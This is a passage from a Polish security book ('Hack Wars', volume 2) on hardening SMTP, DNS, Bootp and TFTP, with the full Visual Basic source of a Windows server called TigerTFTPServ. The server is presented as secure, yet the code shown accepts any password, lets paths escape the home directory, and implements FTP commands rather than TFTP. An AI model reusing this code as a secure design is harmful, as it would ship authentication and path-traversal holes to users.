ciągu nie uzyska dostępu do wewnętrznej sieci LAN (patrz rysunek 1.18). W obu przy-
padkach zapora przeprowadza translację NAT i filtrowanie, dopuszczając komunikację
z serwerem SMTP wyłącznie przez port 25. Serwer skonfigurowany jest oczywiście
jako brama przekazująca wiadomości e-mail z lokalnej domeny pocztowej. W żadnym
przypadku demon nie przyjmuje żądań przekazania poczty pochodzących z zewnątrz.
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
39
39
Rysunek 1.18.
Układ
SMTP-NAT-DMZ
Port 53: Domain
Zadaniem usługi nazw domen (DNS, Domain Name Service), określanej również jako
Bind, jest translacja nazw domen na odpowiadające im adresy IP. Jak opisano to
w pierwszym tomie niniejszej książki, przesyłane Internetem datagramy korzystają
z adresów. Wynika stąd, że zawsze, gdy pojawia się nazwa domeny, demon usługi DNS
musi wykonać jej przekształcenie na adres IP. Najprostszą ilustracją tej zależności
może być sytuacja, gdy wprowadzamy nazwę domeny, np.
TigerTools.net
, w przeglądarce
WWW. Serwer DNS dostarcza wówczas odpowiednie mapowanie, łączące nazwę z adre-
sem, i tam właśnie kierowany jest użytkownik. Tej samej procedury wymaga dostarczanie
poczty SMTP, tworzenie połączeń FTP, zdalny dostęp przy użyciu Telnetu i inne formy
komunikacji.
Usługa Domain nie jest w pełni standardem w systemach operacyjnych. W systemie
Windows NT trzeba zadbać o jej zainstalowanie, w systemach UNIX wymaga niezależnej
kompilacji. Gdy korzystanie z niej jest niezbędne, zaleca się skorzystanie z usług ISP
albo umieszczenie serwera poza zaporą firewall, w strefie (sieci) DMZ (sieci DMZ
opisano w części poświęconej ochronie portu 25, SMTP). Istotna jest również aktualizacja
do najnowszej wersji oprogramowania.
Jeżeli wykupienie obsługi DNS u usługodawcy internetowego nie jest rozwiązaniem
wystarczającym, pozostają rozwiązania realizowane we własnym zakresie. Należy pamię-
tać o dwóch środkach zapobiegającym nadużyciom:
Odwrotne zapytania DNS. Należy zapewnić, aby demon DNS zapewniał
realizację odwrotnych wyszukiwań DNS, aby zabezpieczyć się przed przejęciem
kontroli nad serwerem DNS i odwzorowywaniem nieuprawnionej stacji jako
bezpiecznej.
Informacje o wersji oprogramowania DNS. Z oczywistych powodów,
warto zadbać o zmodyfikowanie modułu demona DNS tak, aby nie udostępniał
na zewnątrz informacji o wersji oprogramowania usługi. Dane te można
często uzyskać korzystając ze standardowych zapytań DNS. W tym zakresie
40
Hack Wars. Tom 2. Na tropie hakerów
40
pomocny powinien być opisywany w pierwszym tomie niniejszej książki
TigerSuite (patrz rysunek 1.19).
Rysunek 1.19.
Ujawniane dane DNS
Port 67: Bootp
Demon usługi Bootp umożliwia bezdyskowej stacji roboczej uzyskanie własnego
adresu IP. Serwer Bootp zarządza tym procesem opierając się na, kierowanych do bazy
danych, zapytaniach. Kluczem danych w bazie są składniki sprzętowe stacji roboczej
lub jej adres MAC.
Poza omawianymi w dalszej części książki technikami zabezpieczającymi przed zwo-
dzeniem (ang. spoofing) i przepełnianiem (ang. flooding), podstawowym czynnikiem
jest odpowiednie przygotowanie listy węzłów. Demon musi posiadać taką listę (operującą
adresami MAC). Określa ona, które ze stacji uprawnione zostały do otrzymywania
danych z serwera Bootp. Ponadto, podobnie jak w przypadku wielu innych demonów
usług, warto zadbać o osłonę usługi przy użyciu narzędzia Tcp_wrapper, opisanego
wcześniej, przy opisie zabezpieczania protokołu Telnet. Odpowiednią modyfikację
pliku
inetd.conf
przedstawiono na rysunku 1.20.
Rysunek 1.20.
Osłanianie portu 67
i usługi Bootp
Port 69: TFTP
Nie będzie chyba niespodzianką stwierdzenie, że ta uproszczona wersja demona FTP
powinna zostać wyłączona lub stosowana wyłącznie w lokalnych, „godnych zaufania”
segmentach sieci. Brak mechanizmów zabezpieczeń i różnorodne wady w licznych
odmianach demona TFTP sprawiają, że niemal każdy użytkownik Internetu, korzystając
z prostych technik, pobrać może kopie takich plików jak
/etc/passwd
.
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
41
41
Oznaczenie wiersza opisującego usługę TFTP w pliku
/etc/inetd.conf
jako komentarza
zapewni dezaktywację demona. Nie można oczywiście zapomnieć o restarcie inetd
lub całego systemu operacyjnego. W systemach Windows, modyfikujemy konfigurację
uruchomieniową lub przerywamy pracę procesu aktywnego, co opisano w części poświę-
conej zabezpieczeniu portu 21 (FTP).
Gdy demon TFTP musi pracować w systemie, zadbać należy o uzyskanie jego najnowszej
wersji oraz zastosować osłonę. To ostatnie opisano w części, w której piszemy o zabez-
pieczaniu portu 23 (Telnet).
Tiger TFTP
Przedstawimy teraz oprogramowanie TigerTFTPServ — rozwiązanie dla domowych
i prywatnych użytkowników Windows, którzy pragną wysokiego poziomu kontroli
pracy protokołu (patrz rysunek 1.21). Program może być bez ograniczeń modyfikowany,
rozpowszechniany i stosowany. TigerTFTPServ to uproszczona wersja oprogramowania
FTP, prowadząca nasłuch w oczekiwaniu żądań połączeń na porcie 69. Zgodnie z wy-
tycznymi protokołu TFTP, program dopuszcza co najwyżej jeden strumień połączenia
(największa dopuszczalna liczba połączeń może zostać zmieniona w drodze prostej
modyfikacji kodu) z jednym katalogiem, wykorzystywanym przy przesyłaniu plików.
Kod może zostać poprawiony tak, aby akceptowani byli użytkownicy uwierzytelnieni;
należy jednak zauważyć, że przedstawiona wersja obsługuje sesje anonimowe. W skład
narzędzia wchodzi analizator sesji, pozwalający monitorować wszystkie transakcje
z katalogu
c:\tftp
.
Rysunek 1.21.
Bezpieczny demon
TFTP dla Windows
— TigerTFTPServ
Formularz główny
Option Explicit
Public WithEvents FTPServer As Server
Private Sub Command1_Click()
StartServer
End Sub
Private Sub Command2_Click()
42
Hack Wars. Tom 2. Na tropie hakerów
42
StopServer
End Sub
Private Sub Command3_Click()
Unload Me
End
End Sub
Private Sub Form_Load()
Set FTPServer = New Server
Set frmWinsock.FTPServer = FTPServer
End Sub
Public Sub Form_Resize()
On Error Resume Next
txtSvrLog.Width = (frmMain.Width - 120)
txtSvrLog.Height = (frmMain.Height - 690)
End Sub
Public Sub Form_UnLoad(Cancel As Integer)
StopServer
Set FTPServer = Nothing
Set frmWinsock.FTPServer = Nothing
Unload frmWinsock
Unload Me
Set frmWinsock = Nothing
Set frmMain = Nothing
End
End Sub
Private Sub FTPServer_ServerStarted()
WriteToLogWindow "Listening!", True
End Sub
Private Sub FTPServer_ServerStopped()
WriteToLogWindow "Stopped!", True
End Sub
Private Sub FTPServer_ServerErrorOccurred(ByVal errNumber As
Long)
MsgBox FTPServer.ServerGetErrorDescription(errNumber),
vbInformation,
"Error occured!"
End Sub
Private Sub FTPServer_NewClient(ByVal ClientID As Long)
WriteToLogWindow "Client " & ClientID & " connected! (" &
FTPServer.GetClientIPAddress(ClientID) & ")", True
End Sub
Private Sub FTPServer_ClientSentCommand(ByVal ClientID As Long,
Command As String, Args As String)
WriteToLogWindow "Client " & ClientID & " sent: " &
Command & " "
& Args, True
End Sub
Private Sub FTPServer_ClientStatusChanged(ByVal ClientID As Long)
WriteToLogWindow "Client " & ClientID & " Status: " &
FTPServer.GetClientStatus(ClientID), True
End Sub
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
43
43
Private Sub FTPServer_ClientLoggedOut(ByVal ClientID As Long)
WriteToLogWindow "Client " & ClientID & " logged out!", True
End Sub
Winsock
Option Explicit
Public WithEvents FTPServer As Server
Private Sub CommandSock_ConnectionRequest(Index As Integer, ByVal
requestID As Long)
DoEvents
FTPServer.NewClient requestID
End Sub
Private Sub DataSock_ConnectionRequest(Index As Integer, ByVal
requestID As Long)
DoEvents
DataSock(Index).Close
DataSock(Index).Accept requestID
End Sub
Private Sub CommandSock_DataArrival(Index As Integer, ByVal
bytesTotal As Long)
DoEvents
Dim raw_data As String
CommandSock(Index).GetData raw_data
FTPServer.ProcFTPCommand Index, raw_data
End Sub
Private Sub DataSock_SendComplete(Index As Integer)
DoEvents
FTPServer.SendComplete Index
End Sub
Private Sub CommandSock_Close(Index As Integer)
DoEvents
FTPServer.LogoutClient , Index
End Sub
Funkcje
Option Explicit
Public Sub WriteToLogWindow(strString As String, Optional TimeStamp
As Boolean)
Dim strTimeStamp As String
Dim tmpText As String
If TimeStamp = True Then strTimeStamp = "[" & Now & "] "
tmpText = frmMain.txtSvrLog.Text
If Len(tmpText) > 20000 Then tmpText = Right$(tmpText, 20000)
frmMain.txtSvrLog.Text = tmpText & vbCrLf & strTimeStamp &
strString
frmMain.txtSvrLog.SelStart = Len(frmMain.txtSvrLog.Text)
End Sub
Public Function StripNulls(strString As Variant) As String
If InStr(strString, vbNullChar) Then
StripNulls = Left(strString, InStr(strString, vbNullChar) -
1)
Else
StripNulls = strString
End If
End Function
44
Hack Wars. Tom 2. Na tropie hakerów
44
Sterowanie portem
Option Explicit
Public Sub StartServer()
Dim r As Long
With frmMain
.FTPServer.ListeningPort = 69
.FTPServer.ServerMaxClients = 1
r = .FTPServer.StartServer()
If r <> 0 Then
MsgBox .FTPServer.ServerGetErrorDescription(r),
vbCritical
End If
End With
End Sub
Public Sub StopServer()
frmMain.FTPServer.ShutdownServer
End Sub
Aparat serwera
Option Explicit
Private Port As Long
Private MaxClients As Integer
Private TransferBufferSize As Long
Private ClientCounter As Long
Private ConnectedClients As Long
Private ServerActive As Boolean
Private Enum ClientStatus
stat_IDLE = 0
stat_LOGGING_IN = 1
stat_GETTING_DIR_LIST = 2
stat_UPLOADING = 3
stat_DOWNLOADING = 4
End Enum
Private Enum ConnectModes
cMode_NORMAL = 0
cMode_PASV = 1
End Enum
Private Type ftpClient
inUse As Boolean
ID As Long
UserName As String
IPAddress As String
DataPort As Long
ConnectedAt As String
IdleSince As String
TotalBytesUploaded As Long
TotalBytesDownloaded As Long
TotalFilesUploaded As Long
TotalFilesDownloaded As Long
CurrentFile As String
cFileTotalBytes As Long
cTotalBytesXfer As Long
fFile As Long
ConnectMode As ConnectModes
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
45
45
HomeDir As String
CurrentDir As String
Status As ClientStatus
End Type
Private Const MAX_IDLE_TIME = 900
Private Const MAX_CONNECTIONS = 500
Private client(MAX_CONNECTIONS) As ftpClient
Public Event ServerErrorOccurred(ByVal errNumber As Long)
Public Event ServerStarted()
Public Event ServerStopped()
Public Event NewClient(ByVal ClientID As Long)
Public Event ClientLoggedIn(ByVal ClientID As Long)
Public Event ClientLoggedOut(ByVal ClientID As Long)
Public Event ClientSentCommand(ByVal ClientID As Long, Command As
String, Args As String)
Public Event ClientStatusChanged(ByVal ClientID As Long)
Private Declare Function FindFirstFile Lib "kernel32" Alias
"FindFirstFileA" ( _
ByVal lpFileName As String, _
lpFindFileData As WIN32_FIND_DATA _
) As Long
Private Declare Function FindNextFile Lib "kernel32" Alias
"FindNextFileA" ( _
ByVal hFindFile As Long, _
lpFindFileData As WIN32_FIND_DATA _
) As Long
Private Declare Function FileTimeToSystemTime Lib "kernel32" ( _
lpFileTime As FILETIME, _
lpSystemTime As SYSTEMTIME _
) As Long
Private Type FILETIME
dwLowDateTime As Long
dwHighDateTime As Long
End Type
Private Declare Function FindClose Lib "kernel32" ( _
ByVal hFindFile As Long _
) As Long
Private Const MAX_PATH = 260
Private Type WIN32_FIND_DATA
dwFileAttributes As Long
ftCreationTime As FILETIME
ftLastAccessTime As FILETIME
ftLastWriteTime As FILETIME
nFileSizeHigh As Long
nFileSizeLow As Long
dwReserved0 As Long
dwReserved1 As Long
cFileName As String * MAX_PATH
cAlternate As String * 14
End Type
Private Type SYSTEMTIME
wYear As Integer
wMonth As Integer
wDayOfWeek As Integer
wDay As Integer
wHour As Integer
wMinute As Integer
wSecond As Integer
wMilliseconds As Long
46
Hack Wars. Tom 2. Na tropie hakerów
46
End Type
Public Property Get ListeningPort() As Long
ListeningPort = Port
End Property
Public Property Let ListeningPort(NewPort As Long)
If Port = 0 Then
Port = NewPort
End If
End Property
Public Property Get ServerMaxClients() As Integer
ServerMaxClients = MaxClients
End Property
Public Property Let ServerMaxClients(Max As Integer)
If Max >= 0 Then
MaxClients = Max
End If
End Property
Public Property Get TransBufferSize() As Long
TransBufferSize = TransferBufferSize
End Property
Public Property Let TransBufferSize(BuffSize As Long)
If BuffSize > 0 Then
TransferBufferSize = BuffSize
End If
End Property
Public Property Get CurrentConnectedClients() As Long
CurrentConnectedClients = ConnectedClients
End Property
Public Property Get CurrentClientCounter() As Long
CurrentClientCounter = ClientCounter
End Property
Public Property Get GetClientConnectedAt(ClientID As Long) As
String
GetClientConnectedAt =
client(GetClientArrayLocByID(ClientID)).ConnectedAt
End Property
Public Property Get GetClientConnectMode(ClientID As Long) As
String
GetClientConnectMode =
client(GetClientArrayLocByID(ClientID)).ConnectMode
End Property
Public Property Get GetClientcTotalBytesXfer(ClientID As Long) As
Long
GetClientcTotalBytesXfer =
client(GetClientArrayLocByID(ClientID)).cTotalBytesXfer
End Property
Public Property Get GetClientcFileTotalBytes(ClientID As Long) As
Long
GetClientcFileTotalBytes =
client(GetClientArrayLocByID(ClientID)).cFileTotalBytes
End Property
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
47
47
Public Property Get GetClientCurrentDir(ClientID As Long) As String
GetClientCurrentDir =
client(GetClientArrayLocByID(ClientID)).CurrentDir
End Property
Public Property Get GetClientCurrentFile(ClientID As Long) As
String
GetClientCurrentFile =
client(GetClientArrayLocByID(ClientID)).CurrentFile
End Property
Public Property Get GetClientDataPort(ClientID As Long) As Long
GetClientDataPort =
client(GetClientArrayLocByID(ClientID)).DataPort
End Property
Public Property Get GetClientfFile(ClientID As Long) As Long
GetClientfFile = client(GetClientArrayLocByID(ClientID)).fFile
End Property
Public Property Get GetClientHomeDir(ClientID As Long) As String
GetClientHomeDir =
client(GetClientArrayLocByID(ClientID)).HomeDir
End Property
Public Property Get GetClientIdleSince(ClientID As Long) As Long
GetClientIdleSince =
client(GetClientArrayLocByID(ClientID)).IdleSince
End Property
Public Property Get GetClientIPAddress(ClientID As Long) As String
GetClientIPAddress =
client(GetClientArrayLocByID(ClientID)).IPAddress
End Property
Public Property Get GetClientStatus(ClientID As Long) As String
GetClientStatus =
ServerGetClientStatusDescription(client(GetClientArrayLocByID(
ClientID)).Status)
End Property
Public Property Get GetClientTotalBytesDownloaded(ClientID As Long)
As Long
GetClientTotalBytesDownloaded =
client(GetClientArrayLocByID(ClientID)).TotalBytesDownloaded
End Property
Public Property Get GetClientTotalBytesUploaded(ClientID As Long)
As Long
GetClientTotalBytesUploaded =
client(GetClientArrayLocByID(ClientID)).TotalBytesUploaded
End Property
Public Property Get GetClientTotalFilesDownloaded(ClientID As Long)
As Long
GetClientTotalFilesDownloaded =
client(GetClientArrayLocByID(ClientID)).TotalFilesDownloaded
End Property
Public Property Get GetClientTotalFilesUploaded(ClientID As Long)
As Long
GetClientTotalFilesUploaded =
client(GetClientArrayLocByID(ClientID)).TotalFilesUploaded
48
Hack Wars. Tom 2. Na tropie hakerów
48
End Property
Public Property Get GetClientUserName(ClientID As Long) As String
GetClientUserName =
client(GetClientArrayLocByID(ClientID)).UserName
End Property
Public Function StartServer() As Long
If ServerActive = True Then
StartServer = 1001
Exit Function
End If
If Port < 1 Then
StartServer = 1002
Exit Function
End If
If TransferBufferSize < 1 Then TransferBufferSize = 4096
With frmWinsock.CommandSock(0)
.LocalPort = Port
.Listen
End With
ServerActive = True
RaiseEvent ServerStarted
End Function
Public Sub NewClient(requestID As Long)
Dim tmpID As Long
Dim i As Integer
ConnectedClients = ConnectedClients + 1
ClientCounter = ClientCounter + 1
tmpID = ClientCounter
Do
i = i + 1
Loop Until client(i).inUse = False
With client(i)
.inUse = True
Load frmWinsock.CommandSock(i)
Load frmWinsock.DataSock(i)
frmWinsock.CommandSock(i).Accept requestID
.ConnectedAt = Now
.ID = tmpID
.Status = stat_LOGGING_IN
.IdleSince = Now
.IPAddress = frmWinsock.CommandSock(i).RemoteHostIP
End With
RaiseEvent NewClient(client(i).ID)
If ((ConnectedClients > MaxClients) And (MaxClients <> 0)) Or
(ConnectedClients > MAX_CONNECTIONS) Then
SendResponse i, "421 Too many users - try again later."
LogoutClient , i
Exit Sub
End If
SendResponse i, "220 P1mp FTP Engine version " & App.Major & ".0"
& App.Minor & " build " & App.Revision
End Sub
Private Sub SendResponse(sckArrayLoc As Integer, data As String)
frmWinsock.CommandSock(sckArrayLoc).SendData data & vbCrLf
DoEvents
End Sub
Private Sub SendData(sckArrayLoc As Integer, data As String)
frmWinsock.DataSock(sckArrayLoc).SendData data
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
49
49
End Sub
Public Sub SendComplete(sckArrayLoc As Integer)
With client(sckArrayLoc)
Select Case .Status
Case stat_GETTING_DIR_LIST
frmWinsock.DataSock(sckArrayLoc).Close
SendResponse sckArrayLoc, "226 Transfer complete."
.Status = stat_IDLE
RaiseEvent ClientStatusChanged(.ID)
Case stat_DOWNLOADING
If .cFileTotalBytes = .cTotalBytesXfer Then
Close #.fFile
frmWinsock.DataSock(sckArrayLoc).Close
.DataPort = 0
SendResponse sckArrayLoc, "226 Transfer
complete."
.cFileTotalBytes = 0
.cTotalBytesXfer = 0
.Status = stat_IDLE
RaiseEvent ClientStatusChanged(.ID)
Else
SendFile sckArrayLoc
End If
End Select
End With
End Sub
Private Sub LoginClient(cArrayLoc As Integer, Password As String)
With client(cArrayLoc)
.HomeDir = "C:\TFTP"
.CurrentDir = .HomeDir
SendResponse cArrayLoc, "230 User logged in, proceed."
.Status = stat_IDLE
End With
RaiseEvent ClientLoggedIn(ByVal client(cArrayLoc).ID)
RaiseEvent ClientStatusChanged(ByVal client(cArrayLoc).ID)
End Sub
Public Sub LogoutClient(Optional ByVal ID As Long, Optional cArrayLoc
As Integer)
On Error Resume Next
If ID = 0 And cArrayLoc = 0 Then Exit Sub
Dim ArrayPos As Integer
Dim tmp As Long
If ID = 0 Then
ArrayPos = cArrayLoc
Else
ArrayPos = GetClientArrayLocByID(ID)
End If
If client(ArrayPos).ID = 0 Then Exit Sub
If ArrayPos < 1 Then Exit Sub
With client(ArrayPos)
frmWinsock.CommandSock(ArrayPos).Close
frmWinsock.DataSock(ArrayPos).Close
Unload frmWinsock.CommandSock(ArrayPos)
Unload frmWinsock.DataSock(ArrayPos)
If .fFile <> 0 Then Close #.fFile
.ConnectedAt = ""
.ConnectMode = 0
.cTotalBytesXfer = 0
50
Hack Wars. Tom 2. Na tropie hakerów
50
.cFileTotalBytes = 0
.CurrentDir = ""
.CurrentFile = ""
.DataPort = 0
.fFile = 0
.HomeDir = ""
tmp = .ID
.ID = 0
.IdleSince = ""
.IPAddress = ""
.Status = stat_IDLE
.TotalBytesDownloaded = 0
.TotalBytesUploaded = 0
.TotalFilesDownloaded = 0
.TotalFilesUploaded = 0
.UserName = ""
.inUse = False
End With
If ConnectedClients > 0 Then ConnectedClients =
ConnectedClients - 1
RaiseEvent ClientLoggedOut(ByVal tmp)
End Sub
Private Function GetClientArrayLocByID(ByVal ID As Long) As Integer
Dim i As Integer
For i = 0 To UBound(client)
If client(i).ID = ID Then
GetClientArrayLocByID = i
Exit Function
End If
Next
GetClientArrayLocByID = -1
End Function
Public Sub ProcFTPCommand(ByVal sckArrayLoc As Integer, ByRef raw_data
As String)
Dim data
Dim ftpCommand As String
Dim ftpArgs As String
data = Replace$(raw_data, vbCrLf, "")
If InStr(data, " ") = 0 Then
ftpCommand = data
Else
ftpCommand = Left$(data, (InStr(data, " ") - 1))
ftpArgs = Right$(data, (Len(data) - InStr(data, " ")))
End If
RaiseEvent ClientSentCommand(client(sckArrayLoc).ID,
ftpCommand, ftpArgs)
client(sckArrayLoc).IdleSince = Now
Select Case UCase$(ftpCommand)
Case "USER"
If ftpArgs = "anonymous" Then
client(sckArrayLoc).UserName = ftpArgs
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
51
51
SendResponse sckArrayLoc, "331 User name ok, need
password."
Else
SendResponse sckArrayLoc, "530 Not logged in: No
such
account " & ftpArgs
End If
Case "PASS"
LoginClient sckArrayLoc, ftpArgs
Case "TYPE"
SendResponse sckArrayLoc, "200 Type set to " & ftpArgs
Case "REST"
SendResponse sckArrayLoc, "350 Restarting at " &
ftpArgs & " - send
STORE or RETRIEVE to initiate transfer."
Case "PWD"
SendResponse sckArrayLoc, "257 " & Chr(34) _
& ConvPathToRelative(client(sckArrayLoc).HomeDir,
client(sckArrayLoc).CurrentDir) _
& Chr(34) & " is current directory."
Case "PORT"
Dim tmpArray() As String
tmpArray = Split(ftpArgs, ",")
client(sckArrayLoc).DataPort = tmpArray(4) * 256 Or
tmpArray(5)
SendResponse sckArrayLoc, "200 Port command
successful."
Case "LIST"
SendResponse sckArrayLoc, "150 Opening ASCII mode data
connection
for /bin/ls."
client(sckArrayLoc).Status = stat_GETTING_DIR_LIST
RaiseEvent ClientStatusChanged(client(sckArrayLoc).ID)
GetDirectoryList sckArrayLoc
Case "RETR"
GetFileToSend sckArrayLoc, ftpArgs
Case "CWD"
ChangeDirectory sckArrayLoc, ftpArgs
Case "CDUP"
Dim tmp As String
tmp = client(sckArrayLoc).CurrentDir
If isRootDir(sckArrayLoc, tmp) = False Then
If Right$(tmp, 1) = "\" Then tmp = Left$(tmp,
Len(tmp) - 1)
tmp = Left$(tmp, InStrRev(tmp, "\"))
End If
ChangeDirectory sckArrayLoc,
ConvPathToRelative(client(sckArrayLoc).HomeDir, tmp)
Case "PASV"
52
Hack Wars. Tom 2. Na tropie hakerów
52
client(sckArrayLoc).ConnectMode = cMode_PASV
SendResponse sckArrayLoc, "227 Entering Passive Mode ("
_
& Replace(frmWinsock.CommandSock(0).LocalIP, ".",
",") &
OpenLocalDataPort(sckArrayLoc) & ")"
Case "NOOP"
SendResponse sckArrayLoc, "200 NOOP command
successful."
Case Else
SendResponse sckArrayLoc, "502 Command not
implemented."
End Select
End Sub
Private Sub GetDirectoryList(cArrayLoc As Integer)
Dim hFile As Long
Dim r As Long
Dim fname As String
Dim WFD As WIN32_FIND_DATA
Dim dirList As String
Dim permissions As String
hFile = FindFirstFile(client(cArrayLoc).CurrentDir & "*.*" +
Chr$(0), WFD)
If Left$(WFD.cFileName, InStr(WFD.cFileName, vbNullChar) - 1)
<> "." And Left$(WFD.cFileName, InStr(WFD.cFileName,
vbNullChar) - 1) <> ".." Then
If (WFD.dwFileAttributes And vbDirectory) Then
permissions = "drwx------"
Else
permissions = "-rwx------"
End If
dirList = permissions _
& " 1 user group " _
& WFD.nFileSizeLow _
& get_date(WFD.ftLastWriteTime) _
& Left$(WFD.cFileName, InStr(WFD.cFileName, vbNullChar)
- 1) _
& vbCrLf
End If
While FindNextFile(hFile, WFD)
If Left$(WFD.cFileName, InStr(WFD.cFileName, vbNullChar) -
1) <> "." And
Left$(WFD.cFileName, InStr(WFD.cFileName, vbNullChar) - 1)
<> ".." Then
If (WFD.dwFileAttributes And vbDirectory) Then
permissions = "drwx------"
Else
permissions = "-rwx------"
End If
dirList = dirList _
& permissions _
& " 1 user group " _
& WFD.nFileSizeLow _
& get_date(WFD.ftLastWriteTime) _
& Left$(WFD.cFileName, InStr(WFD.cFileName,
vbNullChar) - 1) _
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
53
53
& vbCrLf
End If
DoEvents
Wend
r = FindClose(hFile)
MakeDataConnection cArrayLoc
If dirList = "" Then
frmWinsock.DataSock(cArrayLoc).Close
SendResponse cArrayLoc, "226 Transfer complete."
client(cArrayLoc).Status = stat_IDLE
RaiseEvent ClientStatusChanged(client(cArrayLoc).ID)
Exit Sub
End If
SendData cArrayLoc, dirList
End Sub
Private Function MakeDataConnection(sckArrayLoc As Integer) As Long
If client(sckArrayLoc).ConnectMode = cMode_NORMAL Then
frmWinsock.DataSock(sckArrayLoc).RemoteHost =
client(sckArrayLoc).IPAddress
frmWinsock.DataSock(sckArrayLoc).RemotePort =
client(sckArrayLoc).DataPort
frmWinsock.DataSock(sckArrayLoc).Connect
End If
Do
DoEvents
Loop Until frmWinsock.DataSock(sckArrayLoc).State =
sckConnected
End Function
Private Function OpenLocalDataPort(sckArrayLoc As Integer) As
String
Dim Nr1 As Integer
Dim Nr2 As Integer
Randomize Timer
Nr1 = Int(Rnd * 12) + 5
Nr2 = Int(Rnd * 254) + 1
frmWinsock.DataSock(sckArrayLoc).Close
frmWinsock.DataSock(sckArrayLoc).LocalPort = (Nr1 * 256) Or Nr2
frmWinsock.DataSock(sckArrayLoc).Listen
OpenLocalDataPort = "," & Nr1 & "," & Nr2
End Function
Private Function isRootDir(cArrayLoc As Integer, strDir As String)
As Boolean
If client(cArrayLoc).HomeDir = strDir Then isRootDir = True
End Function
54
Hack Wars. Tom 2. Na tropie hakerów
54
Private Sub ChangeDirectory(cArrayLoc As Integer, ChangeTo As
String)
If Left$(ChangeTo, 1) = "/" Then
If FileExists(ConvPathToLocal(client(cArrayLoc).HomeDir,
ChangeTo)) =
True Then
client(cArrayLoc).CurrentDir =
ConvPathToLocal(client(cArrayLoc).HomeDir, ChangeTo)
Else
SendResponse cArrayLoc, "550 " & ChangeTo & ": No such
file or
directory."
Exit Sub
End If
Else
If FileExists(ConvPathToLocal(client(cArrayLoc).CurrentDir,
ChangeTo)) =
True Then
client(cArrayLoc).CurrentDir =
ConvPathToLocal(client(cArrayLoc).CurrentDir, ChangeTo)
Else
SendResponse cArrayLoc, "550 " & ChangeTo & ": No such
file or
directory."
Exit Sub
End If
End If
SendResponse cArrayLoc, "250 Directory changed to " &
ConvPathToRelative(client(cArrayLoc).HomeDir,
client(cArrayLoc).CurrentDir)
End Sub
Private Sub GetFileToSend(cArrayLoc As Integer, File As String)
With client(cArrayLoc)
If FileExists(.CurrentDir & File) = False Then
SendResponse cArrayLoc, "550 " & File & ": No such file
or
directory."
Exit Sub
End If
.cFileTotalBytes = FileLen(.CurrentDir & File)
.CurrentFile = .CurrentDir & File
SendResponse cArrayLoc, "150 Opening BINARY mode data
connection for " &
File & " (" & .cFileTotalBytes & " bytes)"
.fFile = FreeFile
Open .CurrentDir & File For Binary Access Read As #.fFile
.Status = stat_DOWNLOADING
RaiseEvent ClientStatusChanged(.ID)
End With
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
55
55
MakeDataConnection cArrayLoc
SendFile cArrayLoc
End Sub
Private Sub SendFile(cArrayLoc As Integer)
Dim BlockSize As Integer
Dim DataToSend As String
BlockSize = TransferBufferSize
With client(cArrayLoc)
If BlockSize > (.cFileTotalBytes - .cTotalBytesXfer) Then
BlockSize = (.cFileTotalBytes - .cTotalBytesXfer)
End If
DataToSend = Space$(BlockSize)
Get #.fFile, , DataToSend
.cTotalBytesXfer = .cTotalBytesXfer + BlockSize
.TotalBytesDownloaded = .TotalBytesDownloaded + BlockSize
End With
SendData cArrayLoc, DataToSend
End Sub
Public Function ShutdownServer() As Long
frmWinsock.CommandSock(0).Close
ServerActive = False
RaiseEvent ServerStopped
End Function
Private Function ConvPathToLocal(ByVal StartPath As String, ByVal
CurrentPath As
String) As String
Dim result As String
If Right$(StartPath, 1) <> "\" Then StartPath = StartPath & "\"
If Left$(CurrentPath, 1) = "/" Then CurrentPath =
Right$(CurrentPath,
Len(CurrentPath) - 1)
CurrentPath = Replace$(CurrentPath, "/", "\")
result = StartPath & CurrentPath
If Right$(result, 1) <> "\" Then result = result & "\"
ConvPathToLocal = result
End Function
Private Function ConvPathToRelative(ByVal StartPath As String,
ByVal CurrentPath
As String) As String
If Right$(StartPath, 1) <> "\" Then StartPath = StartPath & "\"
If Right$(CurrentPath, 1) <> "\" Then CurrentPath = CurrentPath
& "\"
Dim strRelPath As String
If StartPath = CurrentPath Then
strRelPath = "/"
Else
strRelPath = Replace$(CurrentPath, StartPath, "/")
strRelPath = Replace$(strRelPath, "\", "/")
56
Hack Wars. Tom 2. Na tropie hakerów
56
If Right$(strRelPath, 1) = "/" Then strRelPath =
Left$(strRelPath,
Len(strRelPath) - 1)
End If
ConvPathToRelative = strRelPath
End Function
Public Function ServerGetClientStatusDescription(ByVal stat As
Integer) As String
Select Case stat
Case stat_IDLE: ServerGetClientStatusDescription = "Idle"
Case stat_LOGGING_IN: ServerGetClientStatusDescription =
"Connecting..."
Case stat_GETTING_DIR_LIST:
ServerGetClientStatusDescription =
"Downloading list of files"
Case stat_UPLOADING: ServerGetClientStatusDescription =
"Uploading"
Case stat_DOWNLOADING: ServerGetClientStatusDescription =
"Downloading"
Case Else: ServerGetClientStatusDescription = "Unknown
status"
End Select
End Function
Public Function ServerGetErrorDescription(ByVal errCode As Long) As
String
Select Case errCode
Case 1001: ServerGetErrorDescription = "Server is already
running."
Case 1002: ServerGetErrorDescription = "Server failed to
start becuase
no port or invalid port was specified."
Case Else: ServerGetErrorDescription = "Unknown error " &
errCode
End Select
End Function
Private Function get_date(FT As FILETIME) As String
Dim ST As SYSTEMTIME
Dim r As Long
Dim ds As String
r = FileTimeToSystemTime(FT, ST)
ds = DateSerial(ST.wYear, ST.wMonth, ST.wDay)
If DateDiff("d", ds, Date) > 365 Then
get_date = Format$(ds, " mmm dd yyyy ")
Else
get_date = Format$(ds & " " & ST.wHour & ":" & ST.wMinute, "
mmm dd hh:mm ")
End If
End Function
Private Function FileExists(FileName As String) As Boolean
Dim hFindFile As Long
Dim FileData As WIN32_FIND_DATA
If Right(FileName, 1) = "\" Then
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
57
57
FileName = FileName & "*.*"
End If
hFindFile = FindFirstFile(FileName, FileData)
If hFindFile = -1 Then
FileExists = False
Else
FileExists = True
End If
FindClose hFindFile
End Function
Port 79: Finger
W pierwszym tomie omówiliśmy demon usługi Finger i to, jak istotne informacje można
